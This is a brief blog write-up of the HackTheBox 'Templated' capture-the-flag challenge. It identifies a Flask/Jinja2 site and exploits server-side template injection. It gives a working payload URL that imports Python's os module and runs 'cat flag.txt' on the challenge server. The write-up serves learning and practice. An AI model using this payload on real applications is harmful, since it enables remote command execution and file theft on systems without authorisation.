Hackthebox templated web challenge quick writeup

Hackthebox templated web challenge quick writeup

First of all start the instance

Hackthebox templated web challenge quick writeup

On visiting the host we see flask/jinja2.

Hackthebox templated web challenge quick writeup

So I searched for the exploit .

Hackthebox templated web challenge quick writeup

Checking for SSTI

Hackthebox templated web challenge quick writeup

Got an article about SSTI

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

Hackthebox templated web challenge quick writeup
http://165.22.124.155:31361/%7B%7Brequest.application.globals.builtins.import('os').popen('cat%20flag.txt').read()%7D%7D
Hackthebox templated web challenge quick writeup

And we got the flag successfully..

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *